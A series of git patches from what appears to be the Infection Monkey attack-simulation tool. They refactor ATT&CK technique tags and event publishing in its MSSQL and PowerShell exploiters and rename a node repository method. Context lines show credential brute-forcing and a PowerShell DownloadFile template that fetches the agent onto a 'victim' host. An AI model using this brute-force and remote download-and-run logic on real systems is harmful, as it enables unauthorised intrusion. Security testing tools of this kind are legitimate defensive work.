@@ from .attack import ( T1005_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, T1059_ATTACK_TECHNIQUE_TAG, + T1071_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index 5c3a8d117..8bb748754 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -2,6 +2,7 @@ T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059" +T1071_ATTACK_TECHNIQUE_TAG = "attack-t1071" T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" From 8317c03686f48e67cf3a4d74b58ba2796f318d9d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:29:03 +0000 Subject: [PATCH 083/144] Agent: Add tags to MSSQL propagation events --- monkey/infection_monkey/exploit/mssqlexec.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f3bda8d52..231a09fc2 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,6 +8,9 @@ import pymssql from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import get_plaintext from common.tags import ( + T1059_ATTACK_TECHNIQUE_TAG, + T1071_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, ) @@ -26,6 +29,12 @@ logger = logging.getLogger(__name__) MSSQL_EXPLOITER_TAG = "mssql-exploiter" EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = ( + MSSQL_EXPLOITER_TAG, + T1059_ATTACK_TECHNIQUE_TAG, + T1071_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, +) class MSSQLExploiter(HostExploiter): @@ -83,12 +92,14 @@ class MSSQLExploiter(HostExploiter): ) logger.error(error_message) - self._publish_propagation_event(self.host.ip_addr, False, error_message=error_message) + self._publish_propagation_event( + self.host.ip_addr, False, PROPAGATION_TAGS, error_message + ) self.exploit_result.error_message = error_message return self.exploit_result - self._publish_propagation_event(self.host.ip_addr, True) + self._publish_propagation_event(self.host.ip_addr, True, PROPAGATION_TAGS) self.exploit_result.propagation_success = True return self.exploit_result From 9269c8579cd387959e812dd51c4d3f3f841ee54b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:35:34 +0000 Subject: [PATCH 084/144] Agent: Remove unneccessary technique --- monkey/infection_monkey/exploit/mssqlexec.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 231a09fc2..cc93f084c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,6 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import get_plaintext from common.tags import ( T1059_ATTACK_TECHNIQUE_TAG, - T1071_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, @@ -32,7 +31,6 @@ EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_ PROPAGATION_TAGS = ( MSSQL_EXPLOITER_TAG, T1059_ATTACK_TECHNIQUE_TAG, - T1071_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, ) From 5c6b1e3910124d9f0ba6cd7f6deedabe03844402 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:36:07 +0000 Subject: [PATCH 085/144] Common: Remove unused technique T1071 --- monkey/common/tags/__init__.py | 1 - monkey/common/tags/attack.py | 1 - 2 files changed, 2 deletions(-) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index e8b6842e3..fb30c71df 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -3,7 +3,6 @@ from .attack import ( T1005_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, T1059_ATTACK_TECHNIQUE_TAG, - T1071_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index 8bb748754..5c3a8d117 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -2,7 +2,6 @@ T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059" -T1071_ATTACK_TECHNIQUE_TAG = "attack-t1071" T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" From e4044163638b2e239a3d105645885e59d6592a37 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:41:47 +0000 Subject: [PATCH 086/144] Agent: Use exploit tag properties --- monkey/infection_monkey/exploit/mssqlexec.py | 32 ++++++++------------ 1 file changed, 13 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index cc93f084c..34a272bfc 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -27,12 +27,6 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) MSSQL_EXPLOITER_TAG = "mssql-exploiter" -EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = ( - MSSQL_EXPLOITER_TAG, - T1059_ATTACK_TECHNIQUE_TAG, - T1105_ATTACK_TECHNIQUE_TAG, -) class MSSQLExploiter(HostExploiter): @@ -50,6 +44,12 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) + def _exploiter_tags(self) -> Tuple[str, ...]: + return (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + + def _propagation_tags(self) -> Tuple[str, ...]: + return (MSSQL_EXPLOITER_TAG, T1059_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG) + def __init__(self): super().__init__() self.cursor = None @@ -71,9 +71,7 @@ class MSSQLExploiter(HostExploiter): f" no credentials were successful" ) logger.error(error_message) - self._publish_exploitation_event( - self.host.ip_addr, False, EXPLOITER_TAGS, error_message - ) + self._publish_exploitation_event(False, error_message=error_message) return self.exploit_result if self._is_interrupted(): @@ -90,14 +88,12 @@ class MSSQLExploiter(HostExploiter): ) logger.error(error_message) - self._publish_propagation_event( - self.host.ip_addr, False, PROPAGATION_TAGS, error_message - ) + self._publish_propagation_event(success=False, error_message=error_message) self.exploit_result.error_message = error_message return self.exploit_result - self._publish_propagation_event(self.host.ip_addr, True, PROPAGATION_TAGS) + self._publish_propagation_event(success=True) self.exploit_result.propagation_success = True return self.exploit_result @@ -144,13 +140,13 @@ class MSSQLExploiter(HostExploiter): ) self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) - self._report_login_attempt(True, host, user, password) + self._report_login_attempt(True, user, password) cursor = conn.cursor() return cursor except pymssql.OperationalError as err: error_message = f"Connection to MSSQL failed: {err}" logger.info(error_message) - self._report_login_attempt(False, host, user, password, error_message) + self._report_login_attempt(False, user, password, error_message) # Combo didn't work, hopping to the next one pass @@ -162,10 +158,8 @@ class MSSQLExploiter(HostExploiter): "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) - def _report_login_attempt( - self, success: bool, host: str, user, password: str, message: str = "" - ): - self._publish_exploitation_event(host, success, EXPLOITER_TAGS, error_message=message) + def _report_login_attempt(self, success: bool, user, password: str, message: str = ""): + self._publish_exploitation_event(success=success, error_message=message) self.report_login_attempt(success, user, password) def _upload_agent(self, agent_path_on_victim: PureWindowsPath): From 66f8471f24510995f63876f471495a85c205a288 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:46:29 +0000 Subject: [PATCH 087/144] Agent: Remove "summary" event --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 34a272bfc..a3e0e7fd9 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -71,7 +71,6 @@ class MSSQLExploiter(HostExploiter): f" no credentials were successful" ) logger.error(error_message) - self._publish_exploitation_event(False, error_message=error_message) return self.exploit_result if self._is_interrupted(): From 15974ff21cd7fc6297ca0c7da3bac0851f9223e1 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:49:08 +0000 Subject: [PATCH 088/144] Agent: Stamp time before running exploit --- monkey/infection_monkey/exploit/mssqlexec.py | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a3e0e7fd9..380d88425 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,6 @@ import logging from pathlib import PureWindowsPath -from time import sleep +from time import sleep, time from typing import Iterable, Tuple import pymssql @@ -77,6 +77,7 @@ class MSSQLExploiter(HostExploiter): self._set_interrupted() return self.exploit_result + timestamp = time() try: self._upload_agent(agent_path_on_victim) self._run_agent(agent_path_on_victim) @@ -87,12 +88,12 @@ class MSSQLExploiter(HostExploiter): ) logger.error(error_message) - self._publish_propagation_event(success=False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) self.exploit_result.error_message = error_message return self.exploit_result - self._publish_propagation_event(success=True) + self._publish_propagation_event(timestamp, True) self.exploit_result.propagation_success = True return self.exploit_result @@ -123,6 +124,7 @@ class MSSQLExploiter(HostExploiter): ) for user, password in credentials_iterator: + timestamp = time() try: # Core steps # Trying to connect @@ -139,13 +141,13 @@ class MSSQLExploiter(HostExploiter): ) self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) - self._report_login_attempt(True, user, password) + self._report_login_attempt(timestamp, True, user, password) cursor = conn.cursor() return cursor except pymssql.OperationalError as err: error_message = f"Connection to MSSQL failed: {err}" logger.info(error_message) - self._report_login_attempt(False, user, password, error_message) + self._report_login_attempt(timestamp, False, user, password, error_message) # Combo didn't work, hopping to the next one pass @@ -157,8 +159,10 @@ class MSSQLExploiter(HostExploiter): "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) - def _report_login_attempt(self, success: bool, user, password: str, message: str = ""): - self._publish_exploitation_event(success=success, error_message=message) + def _report_login_attempt( + self, timestamp: float, success: bool, user, password: str, message: str = "" + ): + self._publish_exploitation_event(timestamp, success, error_message=message) self.report_login_attempt(success, user, password) def _upload_agent(self, agent_path_on_victim: PureWindowsPath): From 3bc2e4876fac15f34ea86b7237e8248863e95fff Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Oct 2022 14:45:56 +0300 Subject: [PATCH 089/144] Island: Handle missing node in add_tcp_connections --- .../monkey_island/cc/repository/mongo_node_repository.py | 3 +++ .../cc/repository/test_mongo_node_repository.py | 7 +++++++ 2 files changed, 10 insertions(+) diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index 599bddf61..b417a7554 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -51,6 +51,9 @@ class MongoNodeRepository(INodeRepository): def add_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): node = self._get_node_by_id(machine_id) + if node is None: + node = Node(machine_id=machine_id, connections={}) + for target, connections in tcp_connections.items(): if target in node.tcp_connections: node.tcp_connections[target] = tuple({*node.tcp_connections[target], *connections}) diff --git a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py index d4b16cd46..3b2a0d26f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py @@ -232,3 +232,10 @@ def test_upsert_tcp_connections__port_already_present(node_repository): modified_node = [node for node in nodes if node.machine_id == 4][0] assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS) assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS) + + +def test_upsert_tcp_connections__node_missing(node_repository): + node_repository.add_tcp_connections(999, TCP_CONNECTION_PORT_80) + nodes = node_repository.get_nodes() + modified_node = [node for node in nodes if node.machine_id == 999][0] + assert set(modified_node.tcp_connections) == set(TCP_CONNECTION_PORT_80) From 47846628e6d1a53c4f49e309eedd30a8ac416495 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:47:11 +0200 Subject: [PATCH 090/144] Agent: Modify MSSQL tags to be properties --- monkey/infection_monkey/exploit/mssqlexec.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 380d88425..802060136 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -44,11 +44,12 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) - def _exploiter_tags(self) -> Tuple[str, ...]: - return (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) - - def _propagation_tags(self) -> Tuple[str, ...]: - return (MSSQL_EXPLOITER_TAG, T1059_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = ( + MSSQL_EXPLOITER_TAG, + T1059_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + ) def __init__(self): super().__init__() From 0d246a04793212b1f1d256e95b75536e5c603e21 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Oct 2022 14:49:11 +0300 Subject: [PATCH 091/144] Island: Rename add_tcp_connections to upsert_tcp_connections --- .../cc/agent_event_handlers/scan_event_handler.py | 2 +- monkey/monkey_island/cc/repository/i_node_repository.py | 2 +- .../monkey_island/cc/repository/mongo_node_repository.py | 2 +- .../cc/agent_event_handlers/test_scan_event_handler.py | 4 ++-- .../cc/repository/test_mongo_node_repository.py | 8 ++++---- 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 73e3023db..8c769a470 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -104,7 +104,7 @@ class ScanEventHandler: tcp_connections.add(socket_address) if tcp_connections: - self._node_repository.add_tcp_connections( + self._node_repository.upsert_tcp_connections( src_node.machine_id, {target_machine.id: tcp_connections} ) diff --git a/monkey/monkey_island/cc/repository/i_node_repository.py b/monkey/monkey_island/cc/repository/i_node_repository.py index 11983206c..181cd185e 100644 --- a/monkey/monkey_island/cc/repository/i_node_repository.py +++ b/monkey/monkey_island/cc/repository/i_node_repository.py @@ -27,7 +27,7 @@ class INodeRepository(ABC): """ @abstractmethod - def add_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): + def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): """ Add TCP connections to Node :param machine_id: Machine ID of the Node that made the connections diff --git a/monkey/monkey_island/cc/repository/mongo_node_repository.py b/monkey/monkey_island/cc/repository/mongo_node_repository.py index b417a7554..b406b8fad 100644 --- a/monkey/monkey_island/cc/repository/mongo_node_repository.py +++ b/monkey/monkey_island/cc/repository/mongo_node_repository.py @@ -48,7 +48,7 @@ class MongoNodeRepository(INodeRepository): return new_node - def add_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): + def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections): node = self._get_node_by_id(machine_id) if node is None: diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index 1d8e71869..280d73e55 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -234,7 +234,7 @@ def test_handle_tcp_scan_event__no_open_ports( scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) - assert not node_repository.add_tcp_connections.called + assert not node_repository.upsert_tcp_connections.called def test_handle_tcp_scan_event__ports_found( @@ -244,7 +244,7 @@ def test_handle_tcp_scan_event__ports_found( scan_event_handler._update_nodes = MagicMock() scan_event_handler.handle_tcp_scan_event(event) - call_args = node_repository.add_tcp_connections.call_args[0] + call_args = node_repository.upsert_tcp_connections.call_args[0] assert call_args[0] == MACHINE_ID assert TARGET_MACHINE_ID in call_args[1] open_socket_addresses = call_args[1][TARGET_MACHINE_ID] diff --git a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py index 3b2a0d26f..fa95043d6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repository/test_mongo_node_repository.py @@ -211,7 +211,7 @@ def test_reset__removal_error(error_raising_node_repository): def test_upsert_tcp_connections__empty_connections(node_repository): - node_repository.add_tcp_connections(1, TCP_CONNECTION_PORT_22) + node_repository.upsert_tcp_connections(1, TCP_CONNECTION_PORT_22) nodes = node_repository.get_nodes() for node in nodes: if node.machine_id == 1: @@ -219,7 +219,7 @@ def test_upsert_tcp_connections__empty_connections(node_repository): def test_upsert_tcp_connections__upsert_new_port(node_repository): - node_repository.add_tcp_connections(2, TCP_CONNECTION_PORT_80) + node_repository.upsert_tcp_connections(2, TCP_CONNECTION_PORT_80) nodes = node_repository.get_nodes() modified_node = [node for node in nodes if node.machine_id == 2][0] assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS) @@ -227,7 +227,7 @@ def test_upsert_tcp_connections__upsert_new_port(node_repository): def test_upsert_tcp_connections__port_already_present(node_repository): - node_repository.add_tcp_connections(4, TCP_CONNECTION_PORT_80) + node_repository.upsert_tcp_connections(4, TCP_CONNECTION_PORT_80) nodes = node_repository.get_nodes() modified_node = [node for node in nodes if node.machine_id == 4][0] assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS) @@ -235,7 +235,7 @@ def test_upsert_tcp_connections__port_already_present(node_repository): def test_upsert_tcp_connections__node_missing(node_repository): - node_repository.add_tcp_connections(999, TCP_CONNECTION_PORT_80) + node_repository.upsert_tcp_connections(999, TCP_CONNECTION_PORT_80) nodes = node_repository.get_nodes() modified_node = [node for node in nodes if node.machine_id == 999][0] assert set(modified_node.tcp_connections) == set(TCP_CONNECTION_PORT_80) From ec617df06ad5aac4e04cb079680cda609aaa0ab4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:53:17 +0200 Subject: [PATCH 092/144] Agent: Fix LocketHTTPServer mypy error in MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 802060136..72a250983 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,7 +1,7 @@ import logging from pathlib import PureWindowsPath from time import sleep, time -from typing import Iterable, Tuple +from typing import Iterable, Optional, Tuple import pymssql @@ -171,9 +171,12 @@ class MSSQLExploiter(HostExploiter): self._run_agent_download_command(agent_path_on_victim) - MSSQLExploiter._stop_agent_server(http_thread) + if http_thread: + MSSQLExploiter._stop_agent_server(http_thread) - def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + def _start_agent_server( + self, agent_path_on_victim: PureWindowsPath + ) -> Optional[LockedHTTPServer]: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(agent_path_on_victim), self.agent_binary_repository ) From 8503e0f49964f27b8ffcc6fa83606b12d6681b53 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Oct 2022 15:02:13 +0300 Subject: [PATCH 093/144] UT: Remove unused test data structures --- .../test_scan_event_handler.py | 21 ------------------- 1 file changed, 21 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py index 280d73e55..e00896e3f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py +++ b/monkey/tests/unit_tests/monkey_island/cc/agent_event_handlers/test_scan_event_handler.py @@ -47,27 +47,6 @@ SOURCE_NODE = Node( }, ) -SOURCE_NODE_2 = Node( - machine_id=SOURCE_MACHINE.id, - connections=[], - tcp_connections={ - 44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50)), - TARGET_MACHINE_ID: (SocketAddress(ip=TARGET_MACHINE_IP, port=22),), - }, -) - -EXPECTED_NODE = Node( - machine_id=SOURCE_MACHINE.id, - connections=[], - tcp_connections={ - 44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50)), - TARGET_MACHINE_ID: ( - SocketAddress(ip=TARGET_MACHINE_IP, port=22), - SocketAddress(ip=TARGET_MACHINE_IP, port=80), - ), - }, -) - PING_SCAN_EVENT = PingScanEvent( source=AGENT_ID, target=IPv4Address(TARGET_MACHINE_IP), From bb6716df18b094298e750ebba210790c4a063cca Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:23:13 +0000 Subject: [PATCH 094/144] Common: Add attack technique T1059 --- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index ea08aa9f5..fb30c71df 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -2,6 +2,7 @@ from .attack import ( T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, + T1059_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index e8881dfa7..5c3a8d117 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -1,6 +1,7 @@ T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" +T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059" T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" From 3bede2f9d19df1b7e3cf4333b56a1ed04b811757 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:59:21 +0000 Subject: [PATCH 095/144] Agent: Publish propagation events --- monkey/infection_monkey/exploit/powershell.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index ff0f0db4e..de3797a1d 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -3,6 +3,7 @@ from pathlib import Path, PurePath from typing import List, Optional from common import OperatingSystem +from common.tags import T1059_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.credentials import ( @@ -21,6 +22,12 @@ from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) +POWERSHELL_EXPLOITER_TAG = "powershell-exploiter" +PROPAGATION_TAGS = ( + POWERSHELL_EXPLOITER_TAG, + T1059_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, +) class RemoteAgentCopyError(Exception): @@ -72,8 +79,12 @@ class PowerShellExploiter(HostExploiter): self._execute_monkey_agent_on_victim() self.exploit_result.propagation_success = True except Exception as ex: + self._publish_propagation_event(self.host.ip_addr, False, PROPAGATION_TAGS, str(ex)) logger.error(f"Failed to propagate to the remote host: {ex}") self.exploit_result.error_message = str(ex) + return self.exploit_result + + self._publish_propagation_event(self.host.ip_addr, True, PROPAGATION_TAGS) return self.exploit_result From 7d535c72d9bdfb99d2a157fe29b705cf9c0b4610 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 14:10:11 +0000 Subject: [PATCH 096/144] Agent: Publish powershell exploitation events --- monkey/infection_monkey/exploit/powershell.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index de3797a1d..369ca151d 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -3,7 +3,11 @@ from pathlib import Path, PurePath from typing import List, Optional from common import OperatingSystem -from common.tags import T1059_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG +from common.tags import ( + T1059_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, +) from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.credentials import ( @@ -23,6 +27,7 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) POWERSHELL_EXPLOITER_TAG = "powershell-exploiter" +EXPLOITER_TAGS = (POWERSHELL_EXPLOITER_TAG, T1059_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG) PROPAGATION_TAGS = ( POWERSHELL_EXPLOITER_TAG, T1059_ATTACK_TECHNIQUE_TAG, @@ -111,15 +116,20 @@ class PowerShellExploiter(HostExploiter): f"{creds.username}, Secret Type: {creds.secret_type.name}" ) + self._publish_exploitation_event(self.host.ip_addr, True, EXPLOITER_TAGS) self.exploit_result.exploitation_success = True self._report_login_attempt(True, creds) return client except Exception as ex: - logger.debug( + error_message = ( f"Error logging into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" ) + logger.debug(error_message) + self._publish_exploitation_event( + self.host.ip_addr, False, EXPLOITER_TAGS, error_message + ) self._report_login_attempt(False, creds) return None From 3bca02af59cc188b64758c828b791af93b89c742 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 14:25:02 +0000 Subject: [PATCH 097/144] Agent: Fix powershell tests --- .../exploit/test_powershell.py | 35 +++++++++++++++---- 1 file changed, 28 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 97096830d..5fb98ea93 100644 